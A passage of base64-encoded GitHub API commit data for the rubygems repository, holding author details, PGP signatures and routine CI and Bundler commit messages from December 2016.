czovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRiMzgwYzBjOGJkNmU4MmE3ZGVmOGQ2OWQ0MGYxMWE5NjgyNDBiZTciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGIzODBjMGM4YmQ2ZTgyYTdkZWY4ZDY5ZDQwZjExYTk2ODI0MGJlNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjM4MGMwYzhiZDZlODJhN2RlZjhkNjlkNDBmMTFhOTY4MjQwYmU3In1dfSx7InNoYSI6ImRiMzgwYzBjOGJkNmU4MmE3ZGVmOGQ2OWQ0MGYxMWE5NjgyNDBiZTciLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPbVJpTXpnd1l6QmpPR0prTm1VNE1tRTNaR1ZtT0dRMk9XUTBNR1l4TVdFNU5qZ3lOREJpWlRjPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTY6MjU6NDZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxNzozOTowMFoifSwibWVzc2FnZSI6IlVzZSB0aGUgY29ycmVjdCB2ZXJzaW9uIG9mIHJha2Ugb24gQ0kiLCJ0cmVlIjp7InNoYSI6IjhkMGYzYzg0ZmNmNzEwZGFkN2ViNzQ1MzY1N2I2OGVkMjExYzc5NjgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy84ZDBmM2M4NGZjZjcxMGRhZDdlYjc0NTM2NTdiNjhlZDIxMWM3OTY4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZGIzODBjMGM4YmQ2ZTgyYTdkZWY4ZDY5ZDQwZjExYTk2ODI0MGJlNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVlBUTBBQW9KRUFFWlc3TVYzYWhXbndJUC9qT2tvM1U5alBKZTZ4WDlER1hFeTQzeFxueDloQVd0SFdqWVoxQkpLclYxQ0FocVVxRGp5ajg2OGVLYUtmMHdlc2NRSi9CYWpuV0U5MnZNb1c3Qm9pZm53RlxuRTJ1K3o0ZGxWbGw5Sjd1akxDUEptN2pkaU5lK0U1TUJ5YlhyRzlJNk43MytjT3ZaRUx4M3YvcFJERFgwQ1JqTVxuckZ1ZTAweDYwVStmRkZ0SUVxMGpsbHIyU2ppZDQyM2tWd1BzRlNtdHVadGJ1MllQUzRWMFRRTGd4V3Nrbm1ENlxuUFdRMjBzenRDa2t1K2dKOUNKaGxHUXoyZ01rM1kxaGhZWmVneG1xYjdhc1IxeHdGUnhiNXQwS2VzSnByeU54WVxubDNsTXNPT0Vva2N3VURWeEszMUgyWDd0dnRuT3FHRDAwdFdQTklsZzVhdFBSc1VuL1phTmNwRkdwZVZFL05YOVxubU1QdXozQ0ZnL1B2TGJJWDhFaCtqQ3p3ZEJBcklnQzVWVlJNZ1YyR3h2c2hKYU1KTDNYRXg1bkNsTlI2S3A2WFxuaS9mdW14WE9paHpqSk1DRXhTemlpS1ZQU3lwc1dNZmxvcnVmRi9LdzBLNVpJZnYyNWFQZzVDMHZpYktnckIraFxuQWhmV0lhV1dVNmtoWGl6aTZDRExMUTFUdjRoZlQ5WnVWaXF5UHFpZmNkYk1rUFNaSmw4ZmtwYXk0V2k5akVFT1xud3BBUVJDaVNBblVvcVRSdkpSeWdqalVZVnREWlMxUHlZQ1ZEUkwvUk9ITnJsWkdjbWZzakJNVENFTSsvTlpWV1xuR0JFZUt0K1p0ZUhRcGdLUVAxVEVkRlFTWnhWai9lNkhRQXhNdEpKeTI3VTdZeWxWYlUvYkpCRUN6cXJXclNLTlxudVhQZFVua2x6L3JYb2NBZ2J1bVRcbj1sUEtLXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA4ZDBmM2M4NGZjZjcxMGRhZDdlYjc0NTM2NTdiNjhlZDIxMWM3OTY4XG5wYXJlbnQgMWMzODcxMWIzZjMyODQ1ZjgzNDVkOWVjMDIzZjkyZGQ2NzI3NzZjMlxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjgzMTQ2IC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2ODc1NDAgLTA2MDBcblxuVXNlIHRoZSBjb3JyZWN0IHZlcnNpb24gb2YgcmFrZSBvbiBDSVxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGIzODBjMGM4YmQ2ZTgyYTdkZWY4ZDY5ZDQwZjExYTk2ODI0MGJlNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjM4MGMwYzhiZDZlODJhN2RlZjhkNjlkNDBmMTFhOTY4MjQwYmU3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiMzgwYzBjOGJkNmU4MmE3ZGVmOGQ2OWQ0MGYxMWE5NjgyNDBiZTcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjFjMzg3MTFiM2YzMjg0NWY4MzQ1ZDllYzAyM2Y5MmRkNjcyNzc2YzIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWMzODcxMWIzZjMyODQ1ZjgzNDVkOWVjMDIzZjkyZGQ2NzI3NzZjMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xYzM4NzExYjNmMzI4NDVmODM0NWQ5ZWMwMjNmOTJkZDY3Mjc3NmMyIn1dfSx7InNoYSI6IjFjMzg3MTFiM2YzMjg0NWY4MzQ1ZDllYzAyM2Y5MmRkNjcyNzc2YzIiLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPakZqTXpnM01URmlNMll6TWpnME5XWTRNelExWkRsbFl6QXlNMlk1TW1Sa05qY3lOemMyWXpJPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTY6MTg6MDNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxNzozODo1OVoifSwibWVzc2FnZSI6IlVwZGF0ZSBCdW5kbGVyIHRvIGhhdmUgc3BlYyBmaXhlcyBmb3IgUnVieSAyLjQiLCJ0cmVlIjp7InNoYSI6IjJiZjAyMGQ1YzUwMzYxMjBlZTQyZTQ0OTkxOWQ3MmJkMjE2OTBhZDkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8yYmYwMjBkNWM1MDM2MTIwZWU0MmU0NDk5MTlkNzJiZDIxNjkwYWQ5In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMWMzODcxMWIzZjMyODQ1ZjgzNDVkOWVjMDIzZjkyZGQ2NzI3NzZjMiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVlBUXpBQW9KRUFFWlc3TVYzYWhXUjM4UC8zQ3ZsVTgyM1NEYy9wemZCYkpQOU5iMlxuUmpNWnp2bytkZS9CYXhHRkJLVzVxRzMwZVBkQm9NRzFwb1RhdEFOVFo4TTZPMU1MTXV0OHF5MDZ3T0lKMFJDclxudEZ4M21ySjJtN1hNLys2aEtnZjV1V1NNSEpMNGtZOFBqWmpQS1FENUN0MEZ2blRJT3plUUVQUWhyUzhQOElQK1xuSkRmZTdGZXFzblV1cEUwM3pCZnI3aGpvV1d3MFVsNHFrNUw3VjlVenloWW5qdHpPZGhDdkJpRU4xcDFacnEwdFxuVm13WHhYVGtkMW5ib0M0c3U1Qi93ZndHTXo2RVFzVGMycnp4OThDcWIxamxyNVhLbDdoZS9WZFdGbFphOU5sbFxuLy9zSG1SMVI0MHlDem0zTXRFZjU0MTRTYlNRcEFqTlNnTkl3RE1wZE9oSFZNaENDUTZxakozQjhOTlc4RDJwclxuaEVabkQrSmtYVXlKVDZqTFhLdjlOVmVReW92UklmbkhFU0RjV1o5SzY2Qll0Q1pMamYvVXUrWmg3QTFVaTBmblxudFo4RWVVTUdienlDU25makxxaEhjaU41dkxxK1dJdm9yOFZucC9mRC9qT0pYUDNZa1pKbUFMOStLVWV3ZXhUWlxudjQySXpNclNoZk9EbVJKZGgwSmVpcktETFlaT0Nld01ZdHdoa01QNjVpUW9QK3lBbWtNV2hZLzFuZmozbWVmU1xuUHVPYTM5bWxzYUNaRWtteFIreFo0WXl1NjJtVVRZYVhxblBtTFhCZ0Noc3FnMit4UXRZWm52RlAwQWdSWEtIUVxuUTlqRE5GWVRRMm5xNWNkdzZHMVRmUys0eVhPYThkQjVjRVl1UEwzcHA3cWNGaTdrVnMzSUNLZ1dhUmFhTy9GbFxuKytwbjBNOXc4OW1zTEo5OHM1eFpcbj10cDNwXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSAyYmYwMjBkNWM1MDM2MTIwZWU0MmU0NDk5MTlkNzJiZDIxNjkwYWQ5XG5wYXJlbnQgNThjNmIwYmQyYzA5YzMyOTM2MGY4NDgzMjNkZjM5OWI3Njg4MGUxNFxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgyNjgyNjgzIC0wNjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2ODc1MzkgLTA2MDBcblxuVXBkYXRlIEJ1bmRsZXIgdG8gaGF2ZSBzcGVjIGZpeGVzIGZvciBSdWJ5IDIuNFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWMzODcxMWIzZjMyODQ1ZjgzNDVkOWVjMDIzZjkyZGQ2NzI3NzZjMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xYzM4NzExYjNmMzI4NDVmODM0NWQ5ZWMwMjNmOTJkZDY3Mjc3NmMyIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzFjMzg3MTFiM2YzMjg0NWY4MzQ1ZDllYzAyM2Y5MmRkNjcyNzc2YzIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjU4YzZiMGJkMmMwOWMzMjkzNjBmODQ4MzIzZGYzOTliNzY4ODBlMTQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNThjNmIwYmQyYzA5YzMyOTM2MGY4NDgzMjNkZjM5OWI3Njg4MGUxNCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC81OGM2YjBiZDJjMDljMzI5MzYwZjg0ODMyM2RmMzk5Yjc2ODgwZTE0In1dfSx7InNoYSI6IjU4YzZiMGJkMmMwOWMzMjkzNjBmODQ4MzIzZGYzOTliNzY4ODBlMTQiLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPalU0WXpaaU1HSmtNbU13T1dNek1qa3pOakJtT0RRNE16SXpaR1l6T1RsaU56WTRPREJsTVRRPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTM6NDY6MzZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxMzo0NjozNloifSwibWVzc2FnZSI6IltDSV0gRW5zdXJlIG9ubHkgcHJlZmVycmVkIHJha2UgdmVyc2lvbiBpcyBpbnN0YWxsZWQiLCJ0cmVlIjp7InNoYSI6ImE5ZTNlODE2OTgxYzY1MGE0Yjc5YjI5MWQxMjc4MDgzZjVjN2UyMWEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9hOWUzZTgxNjk4MWM2NTBhNGI3OWIyOTFkMTI3ODA4M2Y1YzdlMjFhIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNThjNmIwYmQyYzA5YzMyOTM2MGY4NDgzMjNkZjM5OWI3Njg4MGUxNCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVg4MjhBQW9KRUFFWlc3TVYzYWhXSDMwUUFJU1V5Z09ZaWQwc0hpdVJoQmM3dC9zVFxuTitnd0ZsRE9jdXNaVFpQOUlNMERwRU51WXhtNk1YcXVYSVNJbVlTditoMDlhdHpKOTFQVUtpbEJPVHZjZnZDS1xuMkFBRmt1M1FVUUF0TTZ3VWNIRUFXRVRVaGgxNzBRbU12bzJaMmxCUmoyeXZwcUhKRURDRDd3WVphQllaU0VzZVxuZm5hdzRPMHd3WHd0TUsvQldydG92cWpFNzA4M01iZUQ1OXV2VCtHdjNoNWxMeVQ0YVQzNFEzV0lkT0dCd0RXZFxuUmhUQkhmeUpDSWdqS2NNOTd1SW9VL2lVWlVFN1